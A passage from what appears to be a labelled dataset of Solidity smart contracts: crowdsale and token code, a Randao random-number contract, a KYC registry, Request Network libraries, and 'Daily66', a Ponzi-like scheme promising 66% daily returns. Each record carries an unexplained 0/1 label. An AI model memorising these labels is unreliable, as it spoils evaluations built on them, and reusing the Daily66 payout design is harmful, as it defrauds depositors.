uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "OfferZoneToken";
string public constant TOKEN_SYMBOL = "OFZ";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x9925C1e9693f566F2Be59D815bd9B9996417ae14;
uint public constant START_TIME = 1538388420;
bool public constant CONTINUE_MINTING = true;
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[5] memory weiRaisedStartsBounds = [uint(0),uint(14285714285714285714286),uint(21428571428571428571429),uint(28571428571428571428571),uint(32857142857142857142857)];
uint[5] memory weiRaisedEndsBounds = [uint(14285714285714285714286),uint(21428571428571428571429),uint(28571428571428571428571),uint(32857142857142857142857),uint(37280000000000000000000)];
uint64[5] memory timeStartsBounds = [uint64(1538388420),uint64(1538388420),uint64(1538388420),uint64(1538388420),uint64(1538388420)];
uint64[5] memory timeEndsBounds = [uint64(1545728815),uint64(1545728815),uint64(1545728815),uint64(1545728815),uint64(1545728815)];
uint[5] memory weiRaisedAndTimeRates = [uint(400),uint(300),uint(200),uint(100),uint(1)];
for (uint i = 0; i < 5; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[2] memory weiAmountBounds = [uint(500000000000000000000),uint(50000000000000000000)];
uint[2] memory weiAmountRates = [uint(0),uint(50)];
for (uint j = 0; j < 2; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, RefundableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(3500 * TOKEN_DECIMAL_MULTIPLIER, 0xf062D10C680059D400A052B2C8B3b20B3Ffd0aD5, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1545728820)
CappedCrowdsale(37280000000000000000000)
RefundableCrowdsale(4285714285714285714286)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[5] memory addresses = [address(0x9925c1e9693f566f2be59d815bd9b9996417ae14),address(0x9925c1e9693f566f2be59d815bd9b9996417ae14),address(0x9925c1e9693f566f2be59d815bd9b9996417ae14),address(0x1388bb312f05cff1b8acc52a5fbaf6a54b14a929),address(0x1388bb312f05cff1b8acc52a5fbaf6a54b14a929)];
uint[5] memory amounts = [uint(3262000000000000),uint(4240600000000000),uint(3262000000000000),uint(2283400000000000),uint(6524000000000000)];
uint64[5] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(1617246005),uint64(1601521205)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 50000000000000000;
return super.hasClosed() || remainValue;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 50000000000000000);
require(msg.value <= 2000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 1,380 |
pragma solidity 0.5.2;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "");
owner = newOwner;
}
}
contract iRNG {
function __callback(bytes32 _queryId, uint _result) public;
}
contract Randao is Ownable {
struct Participant {
uint256 secret;
bytes32 commitment;
uint256 reward;
bool revealed;
bool rewarded;
}
struct Consumer {
address caddr;
uint256 bountypot;
}
struct Campaign {
uint32 bnum;
uint96 deposit;
uint16 commitBalkline;
uint16 commitDeadline;
uint256 random;
bool settled;
uint256 bountypot;
uint32 commitNum;
uint32 revealsNum;
mapping (address => Consumer) consumers;
mapping (address => Participant) participants;
}
uint256 public numCampaigns;
Campaign[] public campaigns;
address public founder;
address public rng;
modifier blankAddress(address _n) { if (_n != address(0)) revert(); _; }
modifier moreThanZero(uint256 _deposit) { if (_deposit <= 0) revert(); _; }
modifier notBeBlank(bytes32 _s) { if (_s == "") revert(); _; }
modifier beBlank(bytes32 _s) { if (_s != "") revert(); _; }
modifier beFalse(bool _t) { if (_t) revert(); _; }
constructor() public {
founder = msg.sender;
}
event LogCampaignAdded(uint256 indexed campaignID,
address from,
uint32 bnum,
uint96 deposit,
uint16 commitBalkline,
uint16 commitDeadline,
uint256 bountypot);
modifier timeLineCheck(uint32 _bnum, uint16 _commitBalkline, uint16 _commitDeadline) {
if (block.number >= _bnum) revert();
if (_commitBalkline <= 0) revert();
if (_commitDeadline <= 0) revert();
if (_commitDeadline >= _commitBalkline) revert();
if (block.number >= _bnum - _commitBalkline) revert();
_;
}
function newCampaign(
uint32 _bnum,
uint96 _deposit,
uint16 _commitBalkline,
uint16 _commitDeadline
)
payable
timeLineCheck(_bnum, _commitBalkline, _commitDeadline)
moreThanZero(_deposit)
external
returns (uint256 _campaignID)
{
_campaignID = campaigns.length++;
Campaign storage c = campaigns[_campaignID];
numCampaigns++;
c.bnum = _bnum;
c.deposit = _deposit;
c.commitBalkline = _commitBalkline;
c.commitDeadline = _commitDeadline;
c.bountypot = msg.value;
c.consumers[msg.sender] = Consumer(msg.sender, msg.value);
emit LogCampaignAdded(_campaignID, msg.sender, _bnum, _deposit, _commitBalkline, _commitDeadline, msg.value);
}
event LogFollow(uint256 indexed CampaignId, address indexed from, uint256 bountypot);
function follow(uint256 _campaignID)
external
payable
returns (bool)
{
Campaign storage c = campaigns[_campaignID];
Consumer storage consumer = c.consumers[msg.sender];
return followCampaign(_campaignID, c, consumer);
}
modifier checkFollowPhase(uint256 _bnum, uint16 _commitDeadline) {
if (block.number > _bnum - _commitDeadline) revert();
_;
}
function followCampaign(
uint256 _campaignID,
Campaign storage c,
Consumer storage consumer
)
checkFollowPhase(c.bnum, c.commitDeadline)
blankAddress(consumer.caddr)
internal
returns (bool)
{
c.bountypot += msg.value;
c.consumers[msg.sender] = Consumer(msg.sender, msg.value);
emit LogFollow(_campaignID, msg.sender, msg.value);
return true;
}
event LogCommit(uint256 indexed CampaignId, address indexed from, bytes32 commitment);
function commit(uint256 _campaignID, bytes32 _hs) notBeBlank(_hs) external payable {
Campaign storage c = campaigns[_campaignID];
commitmentCampaign(_campaignID, _hs, c);
}
modifier checkDeposit(uint256 _deposit) { if (msg.value != _deposit) revert(); _; }
modifier checkCommitPhase(uint256 _bnum, uint16 _commitBalkline, uint16 _commitDeadline) {
if (block.number < _bnum - _commitBalkline) revert();
if (block.number > _bnum - _commitDeadline) revert();
_;
}
function commitmentCampaign(
uint256 _campaignID,
bytes32 _hs,
Campaign storage c
)
checkDeposit(c.deposit)
checkCommitPhase(c.bnum, c.commitBalkline, c.commitDeadline)
beBlank(c.participants[msg.sender].commitment)
internal
{
c.participants[msg.sender] = Participant(0, _hs, 0, false, false);
c.commitNum++;
emit LogCommit(_campaignID, msg.sender, _hs);
}
event LogReveal(uint256 indexed CampaignId, address indexed from, uint256 secret);
function reveal(uint256 _campaignID, uint256 _s) external {
Campaign storage c = campaigns[_campaignID];
Participant storage p = c.participants[msg.sender];
revealCampaign(_campaignID, _s, c, p);
}
modifier checkRevealPhase(uint256 _bnum, uint16 _commitDeadline) {
if (block.number <= _bnum - _commitDeadline) revert();
if (block.number >= _bnum) revert();
_;
}
modifier checkSecret(uint256 _s, bytes32 _commitment) {
if (keccak256(abi.encodePacked(keccak256(abi.encodePacked(_s)))) != _commitment) revert();
_;
}
function revealCampaign(
uint256 _campaignID,
uint256 _s,
Campaign storage c,
Participant storage p
)
checkRevealPhase(c.bnum, c.commitDeadline)
checkSecret(_s, p.commitment)
beFalse(p.revealed)
internal
{
p.secret = _s;
p.revealed = true;
c.revealsNum++;
c.random ^= uint256(keccak256(abi.encodePacked(p.secret)));
emit LogReveal(_campaignID, msg.sender, _s);
}
modifier bountyPhase(uint256 _bnum){ if (block.number < _bnum) revert(); _; }
function getRandom(uint256 _campaignID) external returns (uint256) {
Campaign storage c = campaigns[_campaignID];
return returnRandom(c);
}
function returnRandom(Campaign storage c) bountyPhase(c.bnum) internal returns (uint256) {
if (c.revealsNum > 0) {
c.settled = true;
return c.random;
}
}
function getMyBounty(uint256 _campaignID) external {
Campaign storage c = campaigns[_campaignID];
Participant storage p = c.participants[msg.sender];
transferBounty(c, p);
}
function transferBounty(
Campaign storage c,
Participant storage p
)
bountyPhase(c.bnum)
beFalse(p.rewarded)
internal
{
if (c.revealsNum > 0) {
if (p.revealed) {
uint256 share = calculateShare(c);
returnReward(share, c, p);
}
} else {
returnReward(0, c, p);
}
}
function calculateShare(Campaign memory c) internal pure returns (uint256 _share) {
if (c.commitNum > c.revealsNum) {
_share = (c.bountypot + fines(c)) / c.revealsNum;
} else {
_share = c.bountypot / c.revealsNum;
}
}
function returnReward(
uint256 _share,
Campaign storage c,
Participant storage p
) internal {
p.reward = _share;
p.rewarded = true;
if (!msg.sender.send(_share + c.deposit)) {
p.reward = 0;
p.rewarded = false;
}
}
function fines(Campaign memory c) internal pure returns (uint256) {
return (c.commitNum - c.revealsNum) * c.deposit;
}
function refundBounty(uint256 _campaignID) external {
Campaign storage c = campaigns[_campaignID];
returnBounty(c);
}
modifier campaignFailed(uint32 _commitNum, uint32 _revealsNum) {
if (_commitNum != 0 && _revealsNum != 0) revert();
_;
}
modifier beConsumer(address _caddr) {
if (_caddr != msg.sender) revert();
_;
}
function returnBounty(Campaign storage c)
bountyPhase(c.bnum)
campaignFailed(c.commitNum, c.revealsNum)
beConsumer(c.consumers[msg.sender].caddr)
internal
{
uint256 bountypot = c.consumers[msg.sender].bountypot;
c.consumers[msg.sender].bountypot = 0;
if (!msg.sender.send(bountypot)) {
c.consumers[msg.sender].bountypot = bountypot;
}
}
function getDoubleKeccak256(uint256 _s) public pure returns (bytes32) {
return bytes32(keccak256(abi.encodePacked(keccak256(abi.encodePacked(_s)))));
}
function getKeccak256(uint256 _s) public pure returns (bytes32) {
return bytes32(keccak256(abi.encodePacked(_s)));
}
function getBytes32(uint256 _s) public pure returns (bytes32) {
return bytes32(_s);
}
function setRNG(address _rng) public onlyOwner {
require(_rng != address(0));
rng = _rng;
}
function sendRandomToRNg(uint256 _campaignID) public onlyOwner bountyPhase(campaigns[_campaignID].bnum) {
iRNG(rng).__callback(bytes32(_campaignID), campaigns[_campaignID].random);
}
} | 0 | 1,933 |
pragma solidity ^0.4.24;
contract Daily66 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 66;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.25 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 579 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract KYC {
function expireOf(address _who) external view returns (uint256);
function kycLevelOf(address _who) external view returns (uint8);
function nationalitiesOf(address _who) external view returns (uint256);
function setKYC(
address _who, uint256 _expiresAt, uint8 _level, uint256 _nationalities)
external;
event KYCSet (
address indexed _setter,
address indexed _who,
uint256 _expiresAt,
uint8 _level,
uint256 _nationalities
);
}
contract FusionsKYC is KYC, Ownable {
struct KYCStatus {
uint256 expires;
uint8 kycLevel;
uint256 nationalities;
}
mapping(address => KYCStatus) public kycStatuses;
function expireOf(address _who)
external view returns (uint256)
{
return kycStatuses[_who].expires;
}
function kycLevelOf(address _who)
external view returns (uint8)
{
return kycStatuses[_who].kycLevel;
}
function nationalitiesOf(address _who)
external view returns (uint256)
{
return kycStatuses[_who].nationalities;
}
function setKYC(
address _who,
uint256 _expiresAt,
uint8 _level,
uint256 _nationalities
)
external
onlyOwner
{
require(
_who != address(0),
"Failed to set expiration due to address is 0x0."
);
emit KYCSet(
msg.sender,
_who,
_expiresAt,
_level,
_nationalities
);
kycStatuses[_who].expires = _expiresAt;
kycStatuses[_who].kycLevel = _level;
kycStatuses[_who].nationalities = _nationalities;
}
} | 1 | 3,349 |
pragma solidity ^0.4.23;
library SafeMathInt {
function mul(int256 a, int256 b) internal pure returns (int256) {
assert(!(a == - 2**255 && b == -1) && !(b == - 2**255 && a == -1));
int256 c = a * b;
assert((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
assert(!(a == - 2**255 && b == -1));
int256 c = a / b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
assert((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
assert(a>=0);
return uint256(a);
}
}
library SafeMathUint96 {
function mul(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a / b;
return c;
}
function sub(uint96 a, uint96 b) internal pure returns (uint96) {
assert(b <= a);
return a - b;
}
function add(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMathUint8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a / b;
return c;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
assert(b >= 0);
return b;
}
}
library Bytes {
function extractAddress(bytes data, uint offset)
internal
pure
returns (address m)
{
require(offset >= 0 && offset + 20 <= data.length, "offset value should be in the correct range");
assembly {
m := and(
mload(add(data, add(20, offset))),
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
)
}
}
function extractBytes32(bytes data, uint offset)
internal
pure
returns (bytes32 bs)
{
require(offset >= 0 && offset + 32 <= data.length, "offset value should be in the correct range");
assembly {
bs := mload(add(data, add(32, offset)))
}
}
function updateBytes20inBytes(bytes data, uint offset, bytes20 b)
internal
pure
{
require(offset >= 0 && offset + 20 <= data.length, "offset value should be in the correct range");
assembly {
let m := mload(add(data, add(20, offset)))
m := and(m, 0xFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000)
m := or(m, div(b, 0x1000000000000000000000000))
mstore(add(data, add(20, offset)), m)
}
}
function extractString(bytes data, uint8 size, uint _offset)
internal
pure
returns (string)
{
bytes memory bytesString = new bytes(size);
for (uint j = 0; j < size; j++) {
bytesString[j] = data[_offset+j];
}
return string(bytesString);
}
}
library Signature {
using SafeMath for uint256;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
function checkRequestSignature(
bytes requestData,
address[] payeesPaymentAddress,
uint256 expirationDate,
bytes signature)
internal
view
returns (bool)
{
bytes32 hash = getRequestHash(requestData, payeesPaymentAddress, expirationDate);
uint8 v = uint8(signature[64]);
v = v < 27 ? v.add(27) : v;
bytes32 r = Bytes.extractBytes32(signature, 0);
bytes32 s = Bytes.extractBytes32(signature, 32);
return isValidSignature(
Bytes.extractAddress(requestData, 0),
hash,
v,
r,
s
);
}
function checkBtcRequestSignature(
bytes requestData,
bytes payeesPaymentAddress,
uint256 expirationDate,
bytes signature)
internal
view
returns (bool)
{
bytes32 hash = getBtcRequestHash(requestData, payeesPaymentAddress, expirationDate);
uint8 v = uint8(signature[64]);
v = v < 27 ? v.add(27) : v;
bytes32 r = Bytes.extractBytes32(signature, 0);
bytes32 s = Bytes.extractBytes32(signature, 32);
return isValidSignature(
Bytes.extractAddress(requestData, 0),
hash,
v,
r,
s
);
}
function getBtcRequestHash(
bytes requestData,
bytes payeesPaymentAddress,
uint256 expirationDate)
private
view
returns(bytes32)
{
return keccak256(
abi.encodePacked(
this,
requestData,
payeesPaymentAddress,
expirationDate
)
);
}
function getRequestHash(
bytes requestData,
address[] payeesPaymentAddress,
uint256 expirationDate)
private
view
returns(bytes32)
{
return keccak256(
abi.encodePacked(
this,
requestData,
payeesPaymentAddress,
expirationDate
)
);
}
function isValidSignature(
address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s)
private
pure
returns (bool)
{
return signer == ecrecover(
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),
v,
r,
s
);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FeeCollector is Ownable {
using SafeMath for uint256;
uint256 public rateFeesNumerator;
uint256 public rateFeesDenominator;
uint256 public maxFees;
address public requestBurnerContract;
event UpdateRateFees(uint256 rateFeesNumerator, uint256 rateFeesDenominator);
event UpdateMaxFees(uint256 maxFees);
constructor(address _requestBurnerContract)
public
{
requestBurnerContract = _requestBurnerContract;
}
function setRateFees(uint256 _rateFeesNumerator, uint256 _rateFeesDenominator)
external
onlyOwner
{
rateFeesNumerator = _rateFeesNumerator;
rateFeesDenominator = _rateFeesDenominator;
emit UpdateRateFees(rateFeesNumerator, rateFeesDenominator);
}
function setMaxCollectable(uint256 _newMaxFees)
external
onlyOwner
{
maxFees = _newMaxFees;
emit UpdateMaxFees(maxFees);
}
function setRequestBurnerContract(address _requestBurnerContract)
external
onlyOwner
{
requestBurnerContract = _requestBurnerContract;
}
function collectEstimation(int256 _expectedAmount)
public
view
returns(uint256)
{
if (_expectedAmount<0) {
return 0;
}
uint256 computedCollect = uint256(_expectedAmount).mul(rateFeesNumerator);
if (rateFeesDenominator != 0) {
computedCollect = computedCollect.div(rateFeesDenominator);
}
return computedCollect < maxFees ? computedCollect : maxFees;
}
function collectForREQBurning(uint256 _amount)
internal
{
requestBurnerContract.transfer(_amount);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Administrable is Pausable {
mapping(address => uint8) public trustedCurrencyContracts;
event NewTrustedContract(address newContract);
event RemoveTrustedContract(address oldContract);
function adminAddTrustedCurrencyContract(address _newContractAddress)
external
onlyOwner
{
trustedCurrencyContracts[_newContractAddress] = 1;
emit NewTrustedContract(_newContractAddress);
}
function adminRemoveTrustedCurrencyContract(address _oldTrustedContractAddress)
external
onlyOwner
{
require(trustedCurrencyContracts[_oldTrustedContractAddress] != 0, "_oldTrustedContractAddress should not be 0");
trustedCurrencyContracts[_oldTrustedContractAddress] = 0;
emit RemoveTrustedContract(_oldTrustedContractAddress);
}
function getStatusContract(address _contractAddress)
external
view
returns(uint8)
{
return trustedCurrencyContracts[_contractAddress];
}
function isTrustedContract(address _contractAddress)
public
view
returns(bool)
{
return trustedCurrencyContracts[_contractAddress] == 1;
}
}
contract RequestCore is Administrable {
using SafeMath for uint256;
using SafeMathUint96 for uint96;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
enum State { Created, Accepted, Canceled }
struct Request {
address payer;
address currencyContract;
State state;
Payee payee;
}
struct Payee {
address addr;
int256 expectedAmount;
int256 balance;
}
uint96 public numRequests;
mapping(bytes32 => Request) requests;
mapping(bytes32 => Payee[256]) public subPayees;
event Created(bytes32 indexed requestId, address indexed payee, address indexed payer, address creator, string data);
event Accepted(bytes32 indexed requestId);
event Canceled(bytes32 indexed requestId);
event NewSubPayee(bytes32 indexed requestId, address indexed payee);
event UpdateExpectedAmount(bytes32 indexed requestId, uint8 payeeIndex, int256 deltaAmount);
event UpdateBalance(bytes32 indexed requestId, uint8 payeeIndex, int256 deltaAmount);
function createRequest(
address _creator,
address[] _payees,
int256[] _expectedAmounts,
address _payer,
string _data)
external
whenNotPaused
returns (bytes32 requestId)
{
require(_creator != 0, "creator should not be 0");
require(isTrustedContract(msg.sender), "caller should be a trusted contract");
requestId = generateRequestId();
address mainPayee;
int256 mainExpectedAmount;
if (_payees.length!=0) {
mainPayee = _payees[0];
mainExpectedAmount = _expectedAmounts[0];
}
requests[requestId] = Request(
_payer,
msg.sender,
State.Created,
Payee(
mainPayee,
mainExpectedAmount,
0
)
);
emit Created(
requestId,
mainPayee,
_payer,
_creator,
_data
);
initSubPayees(requestId, _payees, _expectedAmounts);
return requestId;
}
function createRequestFromBytes(bytes _data)
external
whenNotPaused
returns (bytes32 requestId)
{
require(isTrustedContract(msg.sender), "caller should be a trusted contract");
address creator = extractAddress(_data, 0);
address payer = extractAddress(_data, 20);
require(creator!=0, "creator should not be 0");
uint8 payeesCount = uint8(_data[40]);
uint256 offsetDataSize = uint256(payeesCount).mul(52).add(41);
uint8 dataSize = uint8(_data[offsetDataSize]);
string memory dataStr = extractString(_data, dataSize, offsetDataSize.add(1));
address mainPayee;
int256 mainExpectedAmount;
if (payeesCount!=0) {
mainPayee = extractAddress(_data, 41);
mainExpectedAmount = int256(extractBytes32(_data, 61));
}
requestId = generateRequestId();
requests[requestId] = Request(
payer,
msg.sender,
State.Created,
Payee(
mainPayee,
mainExpectedAmount,
0
)
);
emit Created(
requestId,
mainPayee,
payer,
creator,
dataStr
);
for (uint8 i = 1; i < payeesCount; i = i.add(1)) {
address subPayeeAddress = extractAddress(_data, uint256(i).mul(52).add(41));
require(subPayeeAddress != 0, "subpayee should not be 0");
subPayees[requestId][i-1] = Payee(subPayeeAddress, int256(extractBytes32(_data, uint256(i).mul(52).add(61))), 0);
emit NewSubPayee(requestId, subPayeeAddress);
}
return requestId;
}
function accept(bytes32 _requestId)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
r.state = State.Accepted;
emit Accepted(_requestId);
}
function cancel(bytes32 _requestId)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
r.state = State.Canceled;
emit Canceled(_requestId);
}
function updateBalance(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
if ( _payeeIndex == 0 ) {
